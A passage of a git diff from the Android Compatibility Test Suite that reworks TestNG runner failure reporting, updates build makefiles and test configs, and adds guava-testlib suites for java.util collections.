-        notifier.fireTestFinished(child);
-      }
+      notifier.fireTestFinished(child);
       // TODO: Check @Test(enabled=false) and invoke #fireTestIgnored instead.
     }
   }
 
+  private Throwable extractException(Map<String, Throwable> failures) {
+    if (failures.isEmpty()) {
+      return new AssertionError();
+    }
+    if (failures.size() == 1) {
+      return failures.values().iterator().next();
+    }
+
+    StringBuilder errorMessage = new StringBuilder("========== Multiple Failures ==========");
+    for (Map.Entry<String, Throwable> failureEntry : failures.entrySet()) {
+      errorMessage.append("\n\n=== "). append(failureEntry.getKey()).append(" ===\n");
+      Throwable throwable = failureEntry.getValue();
+      errorMessage
+              .append(throwable.getClass()).append(": ")
+              .append(throwable.getMessage());
+      for (StackTraceElement e : throwable.getStackTrace()) {
+        if (e.getClassName().equals(getClass().getName())) {
+          break;
+        }
+        errorMessage.append("\n  at ").append(e);
+      }
+    }
+    errorMessage.append("\n=======================================\n\n");
+    return new AssertionError(errorMessage.toString());
+  }
+
+
   /**
    * Recursively (preorder traversal) apply the filter to all the descriptions.
    *
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
index 621eeb5..1465bf0 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
@@ -16,9 +16,6 @@
 
 package com.android.cts.core.runner.support;
 
-import android.support.test.internal.util.AndroidRunnerParams;
-
-import java.lang.annotation.Annotation;
 import java.lang.reflect.Method;
 
 import org.junit.runner.Runner;
@@ -30,23 +27,12 @@
  * A {@link RunnerBuilder} that can TestNG tests.
  */
 class TestNgRunnerBuilder extends RunnerBuilder {
-  private static final String TESTNG_TEST = "org.testng.annotations.Test";
-  private final AndroidRunnerParams mRunnerParams;
-
-  /**
-   * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
-   */
-  TestNgRunnerBuilder(AndroidRunnerParams runnerParams) {
-    mRunnerParams = runnerParams;
-  }
-
-
   // Returns a TestNG runner for this class, only if it is a class
   // annotated with testng's @Test or has any methods with @Test in it.
   @Override
   public Runner runnerForClass(Class<?> testClass) {
     if (isTestNgTestClass(testClass)) {
-      return new TestNgRunner(testClass, mRunnerParams.isSkipExecution());
+      return new TestNgRunner(testClass);
     }
 
     return null;
diff --git a/tests/dram/jni/Android.mk b/tests/dram/jni/Android.mk
index a86d4da..1021aaa 100644
--- a/tests/dram/jni/Android.mk
+++ b/tests/dram/jni/Android.mk
@@ -24,8 +24,8 @@
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
-LOCAL_SHARED_LIBRARIES := libnativehelper
-
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index db70868..a6d31b0 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -273,13 +273,6 @@
    bug: 23144425
 },
 {
-   description: "Telephony returning wrong value.",
-   names: [
-     "android.telephony.cts.CellInfoTest#testCellInfo"
-   ],
-   bug: 23979591
-},
-{
    description: "Video encoding tests are timing out.",
    names: [
      "android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW",
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 2352564..d5f78b6 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -28,7 +28,10 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index a42a68b..d206474 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -27,8 +27,13 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner ub-uiautomator ub-janktesthelper
-
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctsdeviceutil \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ub-janktesthelper \
+    junit \
+    legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/jank/OldAndroidTest.xml b/tests/jank/OldAndroidTest.xml
deleted file mode 100644
index 633f650..0000000
--- a/tests/jank/OldAndroidTest.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Jank Test Cases">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsUiDeviceTestCases.apk" />
-</configuration>
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index e3205b5..b607f9e 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -30,12 +30,16 @@
         <option name="classpath" value="/data/local/tmp/ctsjdwp/CtsJdwpTestCases.jar" />
         <option name="dalvik-arg" value="-Xcompiler-option" />
         <option name="dalvik-arg" value="--debuggable" />
+        <option name="dalvik-arg" value="-Xusejit:true" />
         <option name="dalvik-arg" value="-Djpda.settings.verbose=false" />
         <option name="dalvik-arg" value="-Djpda.settings.timeout=10000" />
         <option name="dalvik-arg" value="-Djpda.settings.waitingTime=10000" />
-        <option name="dalvik-arg" value="-Djpda.settings.debuggeeJavaPath='dalvikvm|#ABI#| -XXlib:libart.so -Xcompiler-option --debuggable'" />
+        <option name="dalvik-arg" value="-Djpda.settings.debuggeeJavaPath='dalvikvm|#ABI#| -XXlib:libart.so -Xcompiler-option --debuggable -Xusejit:true'" />
         <option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
         <option name="runtime-hint" value="5m" />
 
+        <!-- Temporary work around to avoid running android.test.AndroidTestCase. -->
+        <!-- TODO(64541592) - remove once AndroidTestCase is not statically included. -->
+        <option name="exclude-filter" value="android.test.AndroidTestCase" />
     </test>
 </configuration>
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
index c30cf88..871fc39 100644
--- a/tests/jdwp/runner/device-side/Android.mk
+++ b/tests/jdwp/runner/device-side/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util junit
 
 # don't include these packages in any target
 LOCAL_MODULE_TAGS := optional
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
new file mode 100644
index 0000000..cc03798
--- /dev/null
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.testtype;
+
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.AndroidJUnitTest;
+import com.android.tradefed.util.ArrayUtil;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A specialized test type for Libcore tests that provides the ability to specify a set of
+ * expectation files. Expectation files are used to indicate tests that are expected to fail,
+ * often because they come from upstream projects, and should not be run under CTS.
+ */
+public class LibcoreTest extends AndroidJUnitTest {
+
+    private static final String INSTRUMENTATION_ARG_NAME = "core-expectations";
+
+    @Option(name = "core-expectation", description = "Provides failure expectations for libcore "
+            + "tests via the specified file; the path must be absolute and will be resolved to "
+            + "matching bundled resource files; this parameter should be repeated for each "
+            + "expectation file")
+    private List<String> mCoreExpectations = new ArrayList<>();
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        if (!mCoreExpectations.isEmpty()) {
+            addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", mCoreExpectations));
+        }
+        super.run(listener);
+    }
+}
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 5a89666..45444b3 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -35,9 +35,8 @@
     ub-janktesthelper \
     android-support-v17-leanback \
     android-support-v7-recyclerview \
-    android-support-v4
-
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
+    android-support-v4 \
+    legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/leanbackjank/OldAndroidTest.xml b/tests/leanbackjank/OldAndroidTest.xml
deleted file mode 100644
index 1ee5722..0000000
--- a/tests/leanbackjank/OldAndroidTest.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS LeanbackJank Test Cases">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsLeanbackJankApp.apk" />
-</configuration>
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
new file mode 100644
index 0000000..2c7b7b1
--- /dev/null
+++ b/tests/libcore/javautilcollections/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := \
+    guava-20.0-prebuilt:libs/guava-20.0.jar \
+    guava-testlib-20.0-prebuilt:libs/guava-testlib-20.0.jar
+include $(BUILD_MULTI_PREBUILT)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    guava-20.0-prebuilt \
+    guava-testlib-20.0-prebuilt
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidManifest.xml b/tests/libcore/javautilcollections/AndroidManifest.xml
new file mode 100644
index 0000000..a7e8cee
--- /dev/null
+++ b/tests/libcore/javautilcollections/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="libcore.java.util.collectiontests">
+
+    <!-- AndroidJUnitRunner needs a largeHeap to collect the ~ 240k test methods to run. -->
+    <application android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="libcore.java.util.collectiontests"
+                     android:label="Tests for Collection implementations in java.util">
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
new file mode 100644
index 0000000..7261c80
--- /dev/null
+++ b/tests/libcore/javautilcollections/AndroidTest.xml
@@ -0,0 +1,69 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore java.util Collection test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
+    </target_preparer>
+    <!--
+    Notes as of November 2016:
+
+    1.) When the runner collects the set of tests to run, it
+    (a) attempts to directly run TestCase subclasses from guava-testlib, which they don't support,
+    (b) doesn't find classes with suite() methods.
+    (c) runs out of memory if attempting to run all of the > 220k tests in a single go
+    Breaking the tests down into chunks of ~ 40-50k tests each, and explicitly specifying the
+    suites to run, solves these problems.
+
+    2.) Due to http://b/33068110 the classes with the suite() methods (in the "suite" sub-package)
+    need to extend TestSuite, which means that they need to delegate to separate classes (in the
+     "tests" sub-package) that extend classes from guava-testlib.
+    -->
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="libcore.java.util.collectiontests" />
+        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapNaturalSuite" />
+        <option name="runtime-hint" value="10m" />
+        <option name="test-timeout" value="1200000" />
+        <option name="shell-timeout" value="1400000" />
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="libcore.java.util.collectiontests" />
+        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapWithComparatorSuite" />
+        <option name="runtime-hint" value="10m" />
+        <option name="test-timeout" value="1200000" />
+        <option name="shell-timeout" value="1400000" />
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="libcore.java.util.collectiontests" />
+        <option name="class" value="libcore.java.util.suite.TreeMapNaturalSuite" />
+        <option name="runtime-hint" value="10m" />
+        <option name="test-timeout" value="1200000" />
+        <option name="shell-timeout" value="1400000" />
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="libcore.java.util.collectiontests" />
+        <option name="class" value="libcore.java.util.suite.TreeMapWithComparatorSuite" />
+        <option name="runtime-hint" value="10m" />
+        <option name="test-timeout" value="1200000" />
+        <option name="shell-timeout" value="1400000" />
+    </test>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="libcore.java.util.collectiontests" />
+        <option name="class" value="libcore.java.util.suite.OtherCollectionsSuite" />
+        <option name="runtime-hint" value="8m" />
+        <option name="test-timeout" value="1200000" />
+        <option name="shell-timeout" value="1400000" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/libcore/javautilcollections/libs/guava-20.0.jar b/tests/libcore/javautilcollections/libs/guava-20.0.jar
new file mode 100644
index 0000000..632772f
--- /dev/null
+++ b/tests/libcore/javautilcollections/libs/guava-20.0.jar
Binary files differ
diff --git a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar b/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
new file mode 100644
index 0000000..6dd8d90
--- /dev/null
+++ b/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
Binary files differ
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
new file mode 100644
index 0000000..332190b
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.suite;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
+
+public class ConcurrentSkipListMapNaturalSuite extends TestSuite {
+    public static Test suite() {
+        return new AndroidTestsForMapsInJavaUtil(MapsToTest.CONCURRENT_SKIP_LIST_MAP_NATURAL)
+                .allTests();
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
new file mode 100644
index 0000000..878e721
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.suite;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
+
+public class ConcurrentSkipListMapWithComparatorSuite extends TestSuite {
+    public static Test suite() {
+        return new AndroidTestsForMapsInJavaUtil(
+                MapsToTest.CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR).allTests();
+    }
+
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
new file mode 100644
index 0000000..6af45f4
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.suite;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import libcore.java.util.tests.AndroidTestsForListsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
+import libcore.java.util.tests.AndroidTestsForQueuesInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForSetsInJavaUtil;
+
+/**
+ * A suite of all guava-testlib Collection tests not covered by the other suites in this
+ * package.
+ */
+public class OtherCollectionsSuite extends TestSuite {
+    public static Test suite() {
+        TestSuite result = new TestSuite();
+        result.addTest(new AndroidTestsForListsInJavaUtil().allTests());
+        result.addTest(new AndroidTestsForMapsInJavaUtil(MapsToTest.OTHER).allTests());
+        result.addTest(new AndroidTestsForQueuesInJavaUtil().allTests());
+        result.addTest(new AndroidTestsForSetsInJavaUtil().allTests());
+        return result;
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
new file mode 100644
index 0000000..68a7624
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.suite;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
+
+public class TreeMapNaturalSuite extends TestSuite {
+    public static Test suite() {
+        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_NATURAL).allTests();
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
new file mode 100644
index 0000000..6e6fd6f
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.suite;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
+import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
+
+public class TreeMapWithComparatorSuite extends TestSuite {
+    public static Test suite() {
+        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_WITH_COMPARATOR).allTests();
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
new file mode 100644
index 0000000..8d9177c
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.tests;
+
+import com.google.common.collect.testing.TestsForListsInJavaUtil;
+import com.google.common.collect.testing.testers.CollectionToArrayTester;
+
+import junit.framework.Test;
+
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.Collections;
+
+/**
+ * Guava-testlib tests for {@code List} implementations from {@code java.util}.
+ */
+public class AndroidTestsForListsInJavaUtil extends TestsForListsInJavaUtil {
+    @Override
+    protected Collection<Method> suppressForArraysAsList() {
+        return Collections.singleton(
+                // http://b/30829421
+                CollectionToArrayTester.getToArrayIsPlainObjectArrayMethod());
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
new file mode 100644
index 0000000..11f0afe
--- /dev/null
+++ b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package libcore.java.util.tests;
+
+import com.google.common.collect.testing.TestsForMapsInJavaUtil;
+import com.google.common.collect.testing.testers.CollectionAddAllTester;
+import com.google.common.collect.testing.testers.CollectionAddTester;
+
+import junit.framework.Test;
+import junit.framework.TestSuite;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * Guava-testlib tests for {@link MapsToTest} that were specified as a
+ * constructor argument.
+ */
+public class AndroidTestsForMapsInJavaUtil extends TestsForMapsInJavaUtil {
+    public enum MapsToTest {
+        /** All Maps other than those below. */
+        OTHER,
+        /** TreeMao with natural ordering. */
+        TREE_MAP_NATURAL,
+        /** TreeMap with a Comparator. */
+        TREE_MAP_WITH_COMPARATOR,
+        /** ConcurrentSKipListMap with natural ordering. */
+        CONCURRENT_SKIP_LIST_MAP_NATURAL,
+        /** ConcurrentSKipListMap with a Comparator. */
+        CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR
+    }
+
+    private final MapsToTest mapsToTest;
+
+    public AndroidTestsForMapsInJavaUtil(MapsToTest mapsToTest) {
+        this.mapsToTest = Objects.requireNonNull(mapsToTest);
+    }
+
+    /**
+     * Returns the tests for the {@link MapsToTest} from {@code java.util}.
+     */
+    @Override
+    public final Test allTests() {
+        TestSuite suite = new TestSuite("java.util Maps: " + mapsToTest);
+        switch (mapsToTest) {
+            case OTHER:
+                suite.addTest(testsForCheckedMap());
+                suite.addTest(testsForCheckedSortedMap());
+                suite.addTest(testsForEmptyMap());
+                suite.addTest(testsForSingletonMap());
+                suite.addTest(testsForHashMap());
+                suite.addTest(testsForLinkedHashMap());
+                suite.addTest(testsForEnumMap());
+                suite.addTest(testsForConcurrentHashMap());
+                break;
+            case TREE_MAP_NATURAL:
+                suite.addTest(testsForTreeMapNatural());
+                break;
+            case TREE_MAP_WITH_COMPARATOR:
+                suite.addTest(testsForTreeMapWithComparator());
+                break;
+            case CONCURRENT_SKIP_LIST_MAP_NATURAL:
+                suite.addTest(testsForConcurrentSkipListMapNatural());
+                break;
+            case CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR:
+                suite.addTest(testsForConcurrentSkipListMapWithComparator());
+                break;
+            default:
+                throw new IllegalArgumentException("Unknown part: " + mapsToTest);
+        }
+        return suite;
+    }
+
+    @Override
+    protected final Collection<Method> suppressForConcurrentHashMap() {
+        // http://b/30853241
+        return Arrays.asList(
+                CollectionAddAllTester.getAddAllUnsupportedNonePresentMethod(),
+                CollectionAddAllTester.getAddAllUnsupportedSomePresentMethod(),
